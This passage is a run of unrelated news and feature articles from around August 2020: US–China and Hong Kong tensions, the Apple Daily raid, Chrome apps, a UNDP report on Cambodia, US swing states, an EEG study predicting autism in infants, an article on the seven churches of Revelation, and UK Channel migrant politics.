law. Story continues - China-US clashes - The US measures come three months ahead of the November presidential election in which the incumbent Donald Trump, who trails his rival Joe Biden in the polls, is campaigning hard on an increasingly strident anti-Beijing message. As public disapproval has grown for his handling of the pandemic, Trump has pivoted from his previous focus on striking a trade deal with China to blaming the country for the coronavirus crisis. Washington and Beijing have sparred on multiple fronts in recent months, and both sides have already imposed sanctions on each other over China's mass internment of mostly Muslim minorities in Xinjiang. Trump on Thursday ordered Americans to stop doing business within 45 days with popular Chinese apps WeChat and TikTok. The order claimed TikTok could be used by China to track the locations of federal employees, build dossiers on people for blackmail and conduct corporate espionage. Zhao said Monday that Washington's Hong Kong-related sanctions "will only make the world more aware of US hegemony, bullying and double standards". ehl-tjx/rox/gle/qan/je Google is delaying the suspension of support for Chrome apps. On Monday, the company announced an extension to its timeline of ending support. Chrome apps are the ones installed in Chrome; they work similarly to apps launched on desktops. However, they are not widely adopted. The Verge reported in August 2016 that around "1 percent of users on Windows, Mac, and Linux actively use Chrome packaged apps." It was in August of 2016 when plans to wind down support for the platform were first announced. In January, Google announced the suspension of support for Chrome apps on Windows, Mac, and Linux. The deadline was supposedly June 2020 deadline. Now, Google says Chrome apps will continue to work on those platforms until June 2021. According to The Verge, organizations may extend support for Chrome apps for an extra year. Hence, the apps could work through June 2022. For Chrome OS users, Google will end support for Chrome apps in June 2022, not in 2021. Nevertheless, support for Chrome apps will halt on all platforms by June 2022. Do not, however, that Chrome extensions will continue to work. Google recommends Chrome extensions as alternatives for developers who must wean themselves from Chrome apps. Extensions offer similar functionality as the apps within the Chrome browser. Read also: Should You Upgrade Your Google Chrome or Switch to Microsoft Edge? 3 Best Chromebooks For College Students 2020: 3 Things to Look Out For When Buying Why Is Google Chrome Planning To Hide Full URLs In The Address Bar? Source: Xinhua| 2020-08-11 22:28:32|Editor: huaxia Video Player Close PHNOM PENH, Aug. 11 (Xinhua) -- Cambodia's 2030 and 2050 visions can only be realized if the potential of new technologies has been exploited to upgrade and diversify its economy, said the United Nations Development Program (UNDP)'s new report released on Tuesday. In its report titled "Adaptation and Adoption of Industry 4.0 in Cambodia", the UNDP said Cambodia's economy has grown at rates above 7 percent per annum since 2011 and the kingdom has set out its vision to become an upper-middle-income country by 2030 and a high-income country by 2050. "This vision can only be achieved if new technologies are leveraged to increase industrial value added, diversify exports and strengthen small and medium-sized enterprises," the report said. Cambodia's manufacturing contributed over 16 percent to the country's GDP in 2018, and currently provided 1.4 million jobs, it said. However, Cambodia's manufacturing is concentrated in two main sectors: textiles, clothing and footwear and food and beverages, the report said, adding that together, they account for 80 percent of manufacturing value added and 76 percent of the country's exports. Industry 4.0 has the potential to create new sources of value for workers, firms, sectors and countries, and Industry 4.0 applications and solutions are becoming cheaper, more widely available and easier to use, it said. Manufacturing firms can leverage Industry 4.0 to offer digitally-enabled "smart" products, services, supply chains and delivery, it added. But the level of Industry 4.0 adoption in Cambodia is still low, the report said, noting that digital technology in the majority of firms (over 90 percent) is still at a basic level. At the firm level, barriers to adopting Industry 4.0 in Cambodia include a lack of awareness of digital technologies and their benefits, the perceived high costs of technologies, an aversion to the use of new technologies, skills gaps, limited access to training and technical assistance, and constrained access to finance. "Far too few enterprises in Cambodia are aware of, let alone access, new Industry 4.0 technology. As a result, the economy is missing out on big productivity gains and workers are missing out on high skilled jobs and better pay," Nick Beresford, UNDP Cambodia's resident representative, said in a press release. "This report is an excellent counterpart to the work undertaken by the Royal Government on Cambodia's Digital Strategy and we are keen to synergize the two," he added. Enditem Factbox: Why North Carolina and Wisconsin, U.S. political convention hosts, matter for Trump and Biden U.S. President Trump holds a coronavirus disease (COVID-19) pandemic briefing at the White House By Michael Martina (Reuters) - Democrats and Republicans chose Wisconsin and North Carolina, two battleground states that will help decide the Nov. 3 presidential election, to host their nominating conventions before the coronavirus forced them to scale back the events. Here is a look at how Republican President Donald Trump and Democratic challenger Joe Biden are faring in each of the politically important states. WISCONSIN Before the pandemic upended its plans, the Democratic Party's decision to hold its Aug. 17-20 convention in Milwaukee highlighted the party's aim to take back the swing state Trump narrowly won in 2016. Trump's upset victory over Democrat Hillary Clinton in Wisconsin by less than 1% of the vote four years ago marked the first time the state had voted for a Republican in a presidential election since 1984. His victory there, along with Michigan and Pennsylvania, helped Trump seal his path to the White House. This year, both Trump and Biden are making a play for the state, which would deliver 10 of the 270 electoral votes needed to win the U.S. presidency. Trump has visited Wisconsin to tout progress on one of his key 2016 campaign promises: bringing manufacturing jobs back to the Midwest. But his handling of the coronavirus pandemic, and its lingering economic havoc, have tarnished his effort to use the economy as a selling point to voters. Biden has led Trump in most recent opinion polls taken in the state. But an early advantage in polls did not help Clinton in Wisconsin, where turnout, particularly among Black voters not enthused by her candidacy, declined markedly in 2016 compared to 2012 for President Barack Obama's re-election. An uptick in Black support for Biden, who served eight years as vice president for Obama, the country's first Black president, could help overcome Trump's previous thin margins of victory in the key Midwest states. Both campaigns have made Wisconsin one of their main targets for advertising, though Trump has significantly outspent Biden in recent months on television there, according to Advertising Analytics. Story continues Election experts see the state as something of a firewall for Trump. "If Trump doesn't win Wisconsin, he'd have to win in other places where he's less likely to win," said Kathleen Dolan, a political science professor at the University of Wisconsin, Milwaukee. "I think Pennsylvania and Michigan are harder reaches for him at this point than Wisconsin." Likely to draw Trump's ire: Wisconsin election officials plan to send absentee ballot applications to more than 2.7 million registered voters as a safer alternative to casting votes in person during the pandemic. Trump has argued, without evidence, that voting by mail is susceptible to fraud. NORTH CAROLINA Trump will be formally nominated for re-election by the Republican Party on Aug. 24 in Charlotte, North Carolina, after disagreement over how to safely hold the event saw it temporarily relocated to Florida until a surge of infections there sent it back to its original host state. Trump won North Carolina and its 15 electoral votes by 3.6 percentage points over Clinton in 2016. The Southern state has gone consistently Republican in presidential elections since 1980, with the exception of Obama's victory there in 2008. That makes Biden's slight lead in recent polls in the state a significant worry for the president. Trump has hit North Carolina with a barrage of television ads, spending $25.9 million to run ads or reserve ad space between May and November, outspending the Biden campaign's $4.5 million over the same time frame, according to Advertising Analytics. Biden could be helped by Democratic enthusiasm in the state's increasingly blue urban centres, eroding support for Trump in suburbs over his handling of COVID-19, and momentum from down-ballot races. Democratic Governor Roy Cooper, who was at the centre of a public spat with Trump over whether Charlotte should host a crowded Republican convention during a pandemic, is up for re-election and is leading his Republican challenger in the polls. Republican Senator Thom Tillis is locked in a competitive race with Democratic challenger Cal Cunningham that will be crucial to determining control of that chamber. However, Trump won the state in 2016 despite being behind in the polls. "People have been talking about North Carolina as a swing state since 2004," said Jody Baumgartner, a political science professor at East Carolina University in Greenville, North Carolina. "Obama won in 2008. That was it." (Reporting by Michael Martina; Editing by Colleen Jenkins and Jonathan Oatis) Philadelphia, August 11, 2020 - Autism spectrum disorder (ASD) is rarely diagnosed until symptoms arise, often well into childhood. Evidence however, is mounting that developmental abnormalities likely emerge in the brain long before then: early identification of babies at risk for ASD could allow for interventions that would improve their developmental outcomes. Researchers at the University of California, Los Angeles, have found evidence of signature brain activity in infants that predicted ASD symptoms later at 18 months old. The work, led by Shafali Jeste, MD, at UCLA appears in Biological Psychiatry: Cognitive Neuroscience and Neuroimaging, published by Elsevier. "Early identification and intervention is key to getting better outcomes for children with neurodevelopmental disorders," said Cameron Carter, MD, Editor of Biological Psychiatry: Cognitive Neuroscience and Neuroimaging. "This study suggests that relatively low-cost diagnostic tools such as EEG may, in the not-too-distant future, help us to do a better job by identifying atypical brain development in infancy, when interventions may be even more impactful than when offered to toddlers and young children." The researchers used electroencephalography (EEG), a non-invasive technique to measure electrical brain activity from outside the head and tracked neural activity in the so-called alpha range. Alpha-range activity is associated with long-range connections in the brain. The group then used an approach that allowed them to integrate data from across the brain. First author Abigail Dickinson, PhD, said, "One crucial aspect of brain development is the change in patterns of brain activity. We wanted to know if measures of neural activity could detect atypical brain development in ASD during early infancy." Dr. Dickinson and the team performed EEG measurements in 65 3-month-old infants; 29 with low familial risk of ASD and 36 at high risk, with an affected older sibling. When the children were 18-months-old, they were assessed for ASD by a trained clinician. The researchers used computer modeling to predict symptom outcomes at 18 months based on the babies' neural activity in infancy. The model's predictions correlated with the actual symptoms measured in the toddlers. The model was not able to predict verbal or non-verbal congitive scores in the toddlers--suggesting that the brain connectivity pattern may be a specific marker of ASD. In infants that later showed higher ASD symptoms, researchers saw decreased connectivity between frontal regions. The infants also showed increased connections across temporo-parietal areas in the right hemisphere, which are associated with social information processing. "These findings improve our understanding of the neural differences that precede autism and show which brain regions reveal the earliest signs of disruption," Dr. Dickinson said. The findings bolster the idea that disrupted brain connectivity is a root cause of ASD, not a consequence. The authors suggest that the low cost, wide availability and low risk of EEG make it a good screening tool to identify babies at higher risk of developing ASD or those with "borderline" symptoms, so that they get early intervention. "Mapping patterns of activity associated with autism could ultimately help identify infants who show early signs of neural risk," Dr. Dickinson added. ### Notes for editors The article is "Multivariate neural connectivity patterns in early infancy predict later autism symptoms," by Abigail Dickinson, Manjari Daniel, Andrew Marin, Bilwaj Gaonkar, Mirella Dapretto, Nicole McDonald, Shafali Jeste (https://doi.org/10.1016/j.bpsc.2020.06.003). It appears as an Article in Press in Biological Psychiatry: Cognitive Neuroscience and Neuroimaging, published by Elsevier. Copies of this paper are available to credentialed journalists upon request; please contact Rhiannon Bugno at BPCNNI@sobp.org or +1 254 522 9700. Journalists wishing to interview the authors may contact Abigail Dickinson at adickinson@mednet.ucla.edu. The authors' affiliations and disclosures of financial and conflicts of interests are available in the article. Cameron S. Carter, MD, is Professor of Psychiatry and Psychology and Director of the Center for Neuroscience at the University of California, Davis. His disclosures of financial and conflicts of interests are available here. About Biological Psychiatry: Cognitive Neuroscience and Neuroimaging Biological Psychiatry: Cognitive Neuroscience and Neuroimaging is an official journal of the Society of Biological Psychiatry, whose purpose is to promote excellence in scientific research and education in fields that investigate the nature, causes, mechanisms and treatments of disorders of thought, emotion, or behavior. In accord with this mission, this peer-reviewed, rapid-publication, international journal focuses on studies using the tools and constructs of cognitive neuroscience, including the full range of non-invasive neuroimaging and human extra- and intracranial physiological recording methodologies. It publishes both basic and clinical studies, including those that incorporate genetic data, pharmacological challenges, and computational modeling approaches. http://www.sobp.org/bpcnni About Elsevier Elsevier is a global information analytics business that helps scientists and clinicians to find new answers, reshape human knowledge, and tackle the most urgent human crises. For 140 years, we have partnered with the research world to curate and verify scientific knowledge. Today, we're committed to bringing that rigor to a new generation of platforms. Elsevier provides digital solutions and tools in the areas of strategic research management, R&D performance, clinical decision support, and professional education; including ScienceDirect, Scopus, SciVal, ClinicalKey and Sherpath. Elsevier publishes over 2,500 digitized journals, including The Lancet and Cell, 39,000 e-book titles and many iconic reference works, including Gray's Anatomy. Elsevier is part of RELX, a global provider of information-based analytics and decision tools for professional and business customers. http://www.elsevier.com Media contact Rhiannon Bugno, Editorial Office Biological Psychiatry: Cognitive Neuroscience and Neuroimaging +1 254 522 9700 BPCNNI@sobp.org The Book of Revelation contains the prophecies of the last days, before the New Heaven and the New Earth go on into eternity, with believers living for their God with no sin, no sorrow, and no pain. Much of this prophecy is shrouded in description that can be confusing, and many theologians debate the extent of what is symbolic and what is literal in the visions described by John the Apostle. One such section is at the very beginning, where John addresses the seven churches in Asia - an area in modern Turkey. The Lord Jesus commands John to write a message to each of these churches. These churches were seven real churches at the time, and some believe they represent seven church ages, while others argue they represent seven church types that have existed since the church began, and will exist until Christ returns. Where Does the Bible Mention These Seven Churches? The seven churches are the primary focus of the first three chapters of Revelation. They are represented by seven golden lampstands, and the seven angels or messengers of the churches, represented by seven stars in the right hand of Jesus. Only one of the churches is in another part of the Bible. The Church at Ephesus received a letter, the Book of Ephesians, from the Apostle Paul. The three approaches to understanding these churches all agree they were existing churches that received copies of the Revelation at that time. They differ on how these churches may or may not apply to church history, including the modern body of believers. There is one perspective that these messages only applied to those seven specific churches and the messages have no lasting significance. One of the criticisms of this theory is that it dismisses the prophetic nature of the messages, and reduces the significance of the prophecies coming from the glorified Christ. There is also the chronological perspective. According to this view, each church mentioned in these chapters represents a period in church history. Each of these periods can be traced and assigned to a specific phase of the growth and change of the body of Christ over time, from its inception, to its decline before Christs return. These seven church periods are: 1. The Apostolic Church 30 - 300 A.D. 2. The Martyr Church 100 - 313 A.D. 3. The Compromising Church 314 - 590 A.D. 4. The Roman Catholic Church 590 - 1517 A.D. 5. The Reformation Church 1517-1700 6. The Revival Church 1700-1900 7. The Worldly Church 1900- Rapture Some criticism of this view include that it is difficult to line up certain movements in the church with the descriptions in Revelation. The periods overlap in a way that is messy, pro-Reformation, and can only be applied with difficulty in retrospect. It also only includes a western perspective; it does not take into account movements in Africa, Asia, or South America. Nor does it seem to include Orthodox church movements. The other point of view is that each church would represent different kinds of churches through history. These seven historical churches also serve as archetypes of churches all over the world throughout history. One church may have the hard work and patience of Ephesus, while another the lukewarm attitude of Laodicea. A critique of this perspective is that it is too vague, and general for such specific descriptions and prophecies. Some theologians ascribe to a combination of these three theories, while others have their own, but these three are prominent. What Are the Seven Churches mentioned in Revelation? The first church mentioned is the Church of Ephesus. To this church, Jesus commended them for their endurance, their longsuffering, and their dislike of false doctrine and evil behavior. He chided them however, ...you have abandoned the love you had at first (Revelation 2:4b). They no longer had the burning, consuming passion for their God they had when they were first saved and settled into the routine of the faith. He encourages them to find that fire again and continue where they were doing well. The Church of Smyrna received words of comfort. They were mocked and persecuted for their faith, and it was going to get worse before it got better. It was not a wealthy church either, with opportunities to flee and take refuge somewhere else. Theologians believe many of the laborers of this church were expelled from their labor guilds - and unable to legally work in their craft - because of their conversion. The Lord said, Do not fear what you are about to suffer. Behold, the devil is about to throw some of you into prison, that you may be tested, and for ten days you will have tribulation. Be faithful unto death, and I will give you the crown of life (Revelation 2:10). Though they would suffer in this life, God had a reward for them. The Church of Pergamum was surrounded by wickedness in their city, but they held fast to their beliefs. Their location was so full of wickedness the Bible calls it, where Satans throne is...the place where Satan dwells (Revelation 2:13). However, there were members of the church who still held onto their former traditions, not willing to let go of their idols. Others indulged in false doctrine. Jesus calls on this church to stop these sins. They did receive consolation as well because many from this church had been martyred. In Thyatira, the church was also having problems with false teachers. There was a woman in the church who claimed to be a prophetess, who committed sins of sexual immorality, and whose behavior was reminiscent of Jezebel, Ahabs wicked wife, whose story is told in 1 Kings. Despite the churchs love, patience, and endurance, they tolerate this wicked woman taking an inappropriate role of leadership, giving false prophecies, and being flagrantly sinful. God has given this woman, and the church, time to turn from this sin; I gave her time to repent, but she refuses to repent of her sexual immorality (Revelation 2:21). The message ends with encouragement for those who did not follow this prophetess. Sardis was a seemingly active church, full of good works. The city of Sardis was also a city of wealth, known for the carpet industry and for minting coins. However, the wealth and good works of this church meant nothing because the church was spiritually dead. They epitomized a church that seemed good, but many had cold hearts toward the Lord. They most likely put their faith in their works, prideful and assuming they were saved, or in good standing with the Lord. The message is, Wake up, and strengthen what remains and is about to die, for I have not found your works complete in the sight of my God (Revelation 3:2). The church was not beyond hope, but it needed to find that passion for Christ again. The next church, in Philadelphia, receives encouragement and affirmation in their message. Despite poverty and hardship, they stayed true to God. I know your works. Behold, I have set before you an open door, which no one is able to shut. I know that you have but little power, and yet you have kept my word and have not denied my name (Revelation 3:8). Jesus wanted this body of believers to continue as they were, and they would spend eternity in Heaven with Him. Finally, John addresses the Church of Laodicea. While the other churches received some encouragement or commendation from the Lord, this church received no positive words. Like Sardis, Laodicea had an abundance of resources but held an indifferent spirit - described as lukewarm - toward the Lord. He wants them to grow hot or cold toward Him, but not to remain lacking in any passion toward the faith. While they were doing well in an earthly fashion, they were spiritually lacking. Here, Jesus asks for them to let Him in. Behold, I stand at the door and knock. If anyone hears my voice and opens the door, I will come in to him and eat with him, and he with me (Revelation 3:20). Despite their lack of spirituality, Christ waits expectantly for them to open their hearts to Him. Why Are These 7 Churches Significant? These seven churches were some of the most prominent churches at that time to which John the Apostle would have been close enough to communicate effectively. John was exiled to the Island of Patmos by the Roman Empire. The Jerusalem Church was scattered, and his writings to Rome would have been scrutinized. They were also in one of the central hubs of trade, commerce, and communication. The messages could have been easily passed onto other believers. It was also Gods divine will to communicate with these seven churches. So why seven? Seven is the number of perfection or completion in the Bible. The Lord had seven messages to give before He revealed the visions of the End Times to John, which set the pattern of seven throughout the book. There were seven stars and seven lampstands. There are also seven angels blowing seven trumpets which herald seven judgments. These trumpets follow seven seals of judgements. The Tribulation period lasts seven years. This number shows the completeness of Gods wrath, as well as the perfection of His love throughout the Bible, and becomes a motif in the Last Days. The messages to the church played their part in Gods perfect plan historically, and may still be a part of it currently, depending on which view of the Book of Revelation and the churches an individual takes. Where Are the Seven Churches Located Now? While there are still some believers in these cities, they all exist in modern day Turkey, an Islamic nation. Through the centuries, these churches have increased and decreased, and experienced persecution. Some of these cities do not exist today like they did during Johns day, such as Pergamum. Through time, theologians, historians, and even lay-people in the church have tried to come up with a certain, definitive answer about what the messages to these churches, and the churches themselves, mean beyond their historical existence. New religions and end of days cults have sprung up around some of these theories. Still others spend their entire lives attempting to interpret this final prophetic word from the Lord. Are there seven church ages? What action items should the church take in light of these seven messages? Which kind of church is best? Some of these questions may not have good answers until the Lord returns. Ultimately, Christians should meditate on these things, but not allow the unanswered questions to dictate their lives. In his second letter to the church at Thessalonica, Paul answered some questions they had about the days. To them, he gave this advice, To this end we always pray for you, that our God may make you worthy of his calling and may fulfill every resolve for good and every work of faith by his power, so that the name of our Lord Jesus may be glorified in you, and you in him, according to the grace of our God and the Lord Jesus Christ (2 Thessalonians 1:11-12). Modern Christians should study the example of these four churches, and even ponder their contemporary significance, but ultimately, they should strive to live in obedience with the Great Commission, and follow Gods leading. Looking forward to Christs return, Christians are called to live for Him, even if every question about the Book of Revelation remains a mystery. Sources Barnhouse, Donald. Revelation, An Expository Commentary. Grand Rapids: Zondervan Publishing House, 1971. McGee, J. Vernon. Thru the Bible Vol. 58: The Prophecy (Revelation 1-5). Nashville: Thomas Nelson, Inc., 1991. Ryrie, Charles. Revelation. Chicago: Moody Press, 1968. Walvoord John F. and Roy B. Zuck. The Bible Knowledge Commentary: New Testament. USA: Victor Books, 1984. Wilmington, H.L. Wilmingtons Guide To the Bible. Wheaton: Tyndale House Publishers Inc., 1981. Photo credit: Getty Images/tampatra Bethany Verrett is a freelance writer and editor. She maintains a faith and lifestyle blog graceandgrowing.com, where she muses about the Lord, life, culture, and ministry. A pro-democracy newspaper raided by Hong Kong's newly established national security police pledged defiance on in the face of a growing crackdown on dissent in the city as its founder Jimmy Lai was questioned by police following his arrest for "fraud" and "colluding with foreign powers." "The Apple Daily will keep up the fight!" its front-page headline read, as readers lined up to buy copies of the paper to show support from the early hours of the morning, prompting the paper to boost its print run to 550,000 copies from its usual 70,000 to keep up with demand. And Tsang Chi-ho, who once hosted the banned satirical news show Headliner, left his column in the Apple Daily blank save for one line in English: "You can't kill us all." Some readers bulk-bought the paper and left copies of it on the street for passers-by to read free of charge, while thousands watched a live video stream of the paper's print run on Facebook. An employee at a convenience store stocking the newspaper on said people wanted to make a statement about press freedom. "We don't just want one kind of newspaper in Hong Kong," the employee said. "This is our freedom of the press that's at stake." A passer-by told RFA they didn't recognize their city any more. "The political suppression of dissent and an atmosphere of fear have become really obvious, really blatant now, and it seems a bit too much," they said. The Apple Daily said in an editorial that 's raid during which national security police removed hundreds of boxes of materials after searching journalists and their desks, likely wouldn't be the lowest point for the paper. " will not be the darkest day for the Apple Daily. There will be further harassment, suppression and arrests in an attempt to keep us in fear," the editorial said. "But ... as long as there are readers, there will be writers, and the Apple Daily will keep up the fight," it said. Support for Lai family Lines of would-be diners also appeared outside Cafe Seasons, a restaurant owned by Lai's son Ian, who was arrested at the same time as his father. Customers said they wanted to show support for the family following the Lais' arrest under draconian national security legislation imposed on the city by the ruling Chinese Communist Party since , government broadcaster RTHK reported. Activists in mainland China also showed support for the paper, sending requests on social media to Hongkongers to buy copies of the Apple Daily on their behalf. Activist Ou Biaofeng said he had posted support on social media for Lai and the newspaper, although he was unable to buy it in his home city, where it is banned. "I was very angry to hear the news of Lai's arrest by police ," Ou said. "I feel so sad about the way things turned out in Hong Kong, and I wanted to make my opinions known." Hunan-based freelance writer Ma Xiao said many in mainland China recognize that the imposition of the national security law on Hong Kong effectively transplants mainland China's state security enforcement regime to the city. "People in mainland China are expressing their support for Hong Kong's seven million residents in their struggle for freedom and democracy, through their support for the Apple Daily and Jimmy Lai," Ma said. Meanwhile, China's National People's Congress (NPC) standing committee gave its official seal of approval to plans by Hong Kong chief executive Carrie Lam to postpone elections to the city's legislature for one year, voting through an extension enabling members of the Legislative Council (LegCo) to sit for another year. Postponing, barring candidates The postponement of the LegCo elections is ostensibly because of coronavirus concerns, but comes amid fear of a landslide victory for pro-democracy candidates in the wake of months of anti-government and pro-democracy protests in the city. Pro-democracy candidates swept the board in last November's elections for the District Council, a body that had previously been dominated by pro-China groups for years. While the authorities have already barred four incumbents LegCo members -- Dennis Kwok, Alvin Yeung, Kwok Ka-ki and Kenneth Leung -- from running again, claiming that their candidacy didn't qualify under the new national security requirements, the NPC standing committee said they would be permitted to serve until the next election in , RTHK reported. Twitter users on launched the #FreeAgnes hashtag campaign calling on the authorities to release Agnes Chow, a former leader of the political party Demosisto, which disbanded before the national security law took effect for fear of endangering its members. Photos of Chow, 23, being led away from her home by police after her arrest on suspicion of "colluding with foreign forces" circulated on social media along with calls for her release. Chow, who has been an activist since the age of 15, made world headlines in 2018 after she was barred from running in a LegCo by-election because of her political views. A veteran of a campaign by schoolchildren to overturn China's "patriotic education" program in Hong Kong's schools, and of the 2014 Umbrella movement, Chow is one of the first opposition politicians to be arrested under the new law, which carries a maximum penalty of life imprisonment. She is also currently being prosecuted for taking part in last year's protest movement, alongside fellow Demosisto founder and student activist Joshua Wong. U.S. Secretary of State Mike Pompeo said via Twitter that Lai's arrest was further proof that the ruling Chinese Communist Party (CCP) has effectively put an end to Hong Kong's traditional freedoms. "Im deeply troubled by reports of the arrest of @JimmyLaiApple under Hong Kongs draconian National Security Law," Pompeo tweeted. "Further proof that the CCP has eviscerated Hong Kongs freedoms and eroded the rights of its people." In Washington late Monday, National Security Advisor Robert OBrien called Lai and his staff powerful voices for the fundamental rights and liberties that Beijing guaranteed to the people of Hong Kong, but that it now systematically attacks. These arrests are also a clear effort to intimidate pro-democracy and political opposition figures and suppress Hong Kongs free and independent media, which have played key roles in the citys character and success, he said in a statement. Reported by Lau Siu-fung, Fok Leung-kiu, Man Hoi-tsan and Wu Hoi-man for RFA's Cantonese Service, and by Qiao Long and Lu Xi for the Mandarin Service. Translated and edited by Luisetta Mudie. A group of Conservative MPs says migrants crossing the English Channel are invading the country, with one claiming they can simply paddle in. A former child refugee condemned the common sense group of Tory backbenchers for lacking humanity and decency, after it urged Priti Patel to get tougher including by sending in royal navy warships. A letter sent by a 25-strong group of MPs and peers reads: It is strikingly clear that, rather than a hostile environment, invading migrants have been welcomed. The group also claims those arriving are being put up in expensive hotels and enjoying immediate access to financial help although cash support for an asylum seeker is just 37.75 per week. Gulwali Passarlay, who wrote an acclaimed book about escaping Afghanistan when he was a 12-year-old boy, said: They have to look at themselves and have humanity and have decency. Recommended Priti Patel was warned that policies were increasing Channel crossings On the refugees crossing in fragile dinghies, he said: These are people who are desperate, who have seen violence in countries, they are fleeing from places like Afghanistan, Syria and Iraq. And Lisa Doyle, the director of advocacy at the Refugee Council, said: We need our MPs and peers to do better than this. Its time to drop the soundbites and the scapegoating, and implement reasonable policies, in line with international law, that enable people seeking asylum to access safe and regular routes to the UK. But John Hayes, a Conservative MP and the groups chair, defended the provocative language in the letter, telling The Independent: People do feel it is an invasion. UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 January 2022 Bonhams Danny McIlwraith holds a Nigerian polycrome carved wood mask during a photocall for the sale of the Jim Lennon Collection at Bonhams in Edinburgh PA UK news in pictures 16 January 2022 The moon rises above the Spinnaker Tower in Portsmouth, Hampshire PA UK news in pictures 15 January 2022 Demonstrators outside Downing Street during a Kill The Bill protest against The Police, Crime, Sentencing and Courts Bill in London PA UK news in pictures 14 January 2022 Ecologist Emma Smart (left) and retired GP Dr Diana Warner outside HMP Bronzefield, in Surrey, following their release from the prison where Emma undertook a 26-day hunger strike during her incarceration. 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Laois PA UK news in pictures 6 January 2022 People walk through frost and mist alongside a frozen lake during sunrise in Bushy Park, London REUTERS UK news in pictures 5 January 2022 A skier jumps on the slopes at Allenheads in the Pennines to the north of Weardale in Northumberland PA UK news in pictures 4 January 2022 Freshly-fallen snow covers houses in Corbridge, near Hexham in Northumberland PA UK news in pictures 3 January 2022 Dean Morrison, 13, receives his Covid-19 vaccine from student nurse Anthony McLaughlin during a vaccination clinic at the Glasgow Central Mosque PA UK news in pictures 2 January 2022 Konastantinos Tsimikas of Liverpool with Chelseas Mason Mount during the Premier League match at Stamfrod Bridge Liverpool FC/Getty UK news in pictures 1 January 2022 New Years Eve Lasers, drones and fireworks illuminate the sky in front of the Royal Naval College in Greenwich shortly after midnight in London EPA UK news in pictures 31 December 2021 Competitors in fancy dress run across the Pennine tops near Haworth, West Yorkshire, in the annual Auld Lang Syne Fell race which attracts hundreds of runners every year PA UK news in pictures 30 December 2021 Sunrise at Bamburgh Castle in Northumberland PA UK news in pictures 29 December 2021 The Very Revd Dr Robert Willis, Dean of Canterbury Cathedral, looks at Becket, a six month old red-billed chough as he visits Wildwood Wildlife Park in Kent on the anniversary of the murder of Thomas Becket PA UK news in pictures 28 December 2021 Troops of the Household Cavalry are seen reflected in a puddle during the changing of the Queens Life Guard, on Horse Guards Parade, in central London PA UK news in pictures 27 December 2021 A pedestrian walks past a winter sale sign outside a John Lewis store on Oxford street in London Getty UK news in pictures 26 December 2021 Riders take their bikes through the snow near Castleside, County Durham PA UK news in pictures 25 December 2021 Patrick Corkery wears a santa hat and beard as waves crash over him at Forty Foot near Dublin during a Christmas Day dip PA UK news in pictures 24 December 2021 People stand inside Kings Cross Station on Christmas Eve in London Reuters UK news in pictures 23 December 2021 Christmas shoppers fill the car park at Fosse Shopping Park in Leicester PA UK news in pictures 22 December 2021 The sun rises behind the stones as people gather for the winter solstice at Stonehenge. Getty UK news in pictures 21 December 2021 People take part in a winter solstice swim at Portobello Beach in Edinburgh to mark the solstice and to witness the dawn after the longest night of the year PA UK news in pictures 20 December 2021 An auction employee displays poultry to buyers and sellers attending the Christmas Poultry Sale at York Auction Centre in Murton PA UK news in pictures 19 December 2021 Joao Moutinho of Wolverhampton Wanderers looks on during the Premier League match between Wolverhampton Wanderers and Chelsea at Molineux Getty Images UK news in pictures 18 December 2021 Freight lorries queuing at the port of Dover in Kent PA UK news in pictures 17 December 2021 Newly elected Liberal Democrat MP Helen Morgan, bursts 'Boris' bubble' held by colleague Tim Farron, as she celebrates following her victory in the North Shropshire by-election PA UK news in pictures 16 December 2021 Brussels sprouts are harvested by workers as they prepare for the busy Christmas period near Boston in Lincolnshire PA UK news in pictures 15 December 2021 Lewis Hamilton is made a Knight Bachelor by the Prince of Wales at Windsor Castle PA UK news in pictures 14 December 2021 The Royal Liver Buildings surrounded by early morning fog in Liverpool PA UK news in pictures 13 December 2021 People queue outside a walk-in Covid-19 vaccination centre at St Thomas's Hospital in Westminster Getty Images UK news in pictures 12 December 2021 People take part in the Big Leeds Santa Dash in Roundhay Park, Leeds PA UK news in pictures 11 December 2021 People arrive at a Covid-19 vaccination centre at Elland Road in Leeds, PA UK news in pictures 10 December 2021 Stella Moris speaks to the media after the US Government won its High Court bid to overturn a judges decision not to extradite WikiLeaks founder Julian Assange PA UK news in pictures 9 December 2021 Camels are lead around Salisbury Cathedral during a rehearsal for the Christmas Eve Service PA UK news in pictures 8 December 2021 Margaret Keenan and Nurse May Parsons, a year after Margaret was the first person in the UK to receive the Pfizer vaccine PA UK news in pictures 7 December 2021 Snowfall in Leadhills, South Lanarkshire as Storm Barra hits the UK with disruptive winds, heavy rain and snow PA UK news in pictures 6 December 2021 A person tries to avoid sea spray on New Brighton promenade in Wallasey as the UK readies for the arrival of Storm Barra Getty UK news in pictures 5 December 2021 People release balloons during a tribute to six-year-old Arthur Labinjo-Hughes outside Emma Tustin's former address in Solihull, West Midlands, where he was murdered by his stepmother PA UK news in pictures 4 December 2021 People walk through a Christmas market in Trafalgar Square Reuters UK news in pictures 3 December 2021 A pedestrian carries a dog as they dodge shoppers on Oxford Street in central London AFP/Getty UK news in pictures 2 December 2021 Duchess of Cambridge inspects a Faberge egg at the Victoria and Albert Museum Getty UK news in pictures 1 December 2021 Meerkats at London Zoo with an advent calendar PA UK news in pictures 30 November 2021 Workers put the finishing touches to the Trafalgar Square Christmas Tree ahead of the lighting ceremony later in the week PA UK news in pictures 29 November 2021 Home Secretary Priti Patel is greeted by a police dog at a special memorial service for Met Police Sergeant Matiu Ratana Getty We are reflecting the sentiment of a very large number of people who feel this is the entry into our country of a large number of people illegally. From the perspective of legal migrants, its terribly insulting to have other people who can just walk in or, in this case, paddle in. The letter was sent as Chris Philp, the immigration minister, met with French officials but not a government minister in Paris, promising a new, comprehensive action plan, but with no detail provided. His boss, the home secretary, has appointed a former royal marine as her clandestine channel threat commander, to draw up plans to block migrants coming over from France. But the Ministry of Defence is still considering her request to deploy warships, after one official there branded the tactic completely potty. Mr Hayes said his group backed the move, saying: We think its an excellent idea, we should deal with that without delay. He argued the numbers crossing from France, had reached really extraordinary numbers, but the figures suggest there has simply been a shift in method. The most common route has been to stow away in a lorry but, since the coronavirus lockdown, the number of unaccompanied asylum-seeking children found in lorries at Dover port has reduced from several dozen a month to zero. It emerged on Monday that Ms Patel was part of a Commons committee inquiry which warned that a policy that focuses exclusively on closing borders will drive migrants to take more dangerous routes. Mr Passarlay, speaking to BBC News, added: I would like more humanity and compassion from these MPs. Its so unfortunate that you treat people like that like statistical numbers. No officers were injured in the shooting, police spokesman Tom Ahern said on Twitter. Many of the businesses 